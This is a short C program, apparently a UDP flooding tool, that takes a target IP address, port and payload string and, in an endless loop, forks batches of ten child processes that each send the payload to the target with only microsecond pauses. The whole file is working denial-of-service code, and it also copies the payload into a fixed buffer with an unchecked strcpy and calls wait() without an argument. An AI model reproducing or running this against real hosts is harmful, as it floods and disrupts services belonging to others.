#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
 
#define MAXBUF 1024
 
int usleep(useconds_t useconds);
 
int main(int argc, char* argv[]) {
 
	int udpSocket;
	int returnStatus;
	int addrlen;
	struct sockaddr_in udpClient, udpServer;
	char buf[MAXBUF];
	pid_t pid;
 
	if(argc < 4) {
		fprintf(stderr, "Usage: %s <ip address> <port> <payload>\n", argv[0]);
		fprintf(stderr, "Example: %s 127.0.0.1 8080 AAAAAAAAAAAA\n", argv[0]);
		return 1;
	}
 
	for (;;) {
		int i;
		for (i = 0; i < 10; i++) {
			pid = fork();
 
			if(pid == 0) {
				/* Create socket */
				udpSocket = socket(AF_INET, SOCK_DGRAM, 0);
 
				if(udpSocket == -1) {
					fprintf(stderr, "Could not create socket!\n");
					return 1;
				} else {
					printf("Socket created.\n");
				}
 
				/* Client address */
				/* Use INADDR_ANY to use all local addresses */
				udpClient.sin_family = AF_INET;
				udpClient.sin_addr.s_addr = INADDR_ANY;
				udpClient.sin_port = 0;
 
				returnStatus = bind(udpSocket, (struct sockaddr*)&udpClient, sizeof(udpClient));
 
				if(returnStatus == 0) {
					fprintf(stderr, "Bind completed.\n");
				} else {
					fprintf(stderr, "Could not bind to address!\n");
					close(udpSocket);
					return 1;
				}
 
				/* Set up message */
				strcpy(buf, argv[3]);
 
				/* Server address */
				udpServer.sin_family = AF_INET;
				udpServer.sin_addr.s_addr = inet_addr(argv[1]);
				udpServer.sin_port = htons(atoi(argv[2]));
 
				returnStatus = sendto(udpSocket, buf, strlen(buf)+1, 0, (struct sockaddr*)&udpServer, sizeof(udpServer));
 
				if(returnStatus == -1) {
					fprintf(stderr, "Could not send message!\n");
				} else {
					printf("Message sent.\n");
				}
 
				/* Cleanup */
 
				close(udpSocket);
				printf("Exiting thread\n");
				exit(0);
			} else {
				usleep((useconds_t)50);
			}
		}
	printf("Waiting\n");
	wait();
	printf("Done waiting, moving on.\n");	
	}
}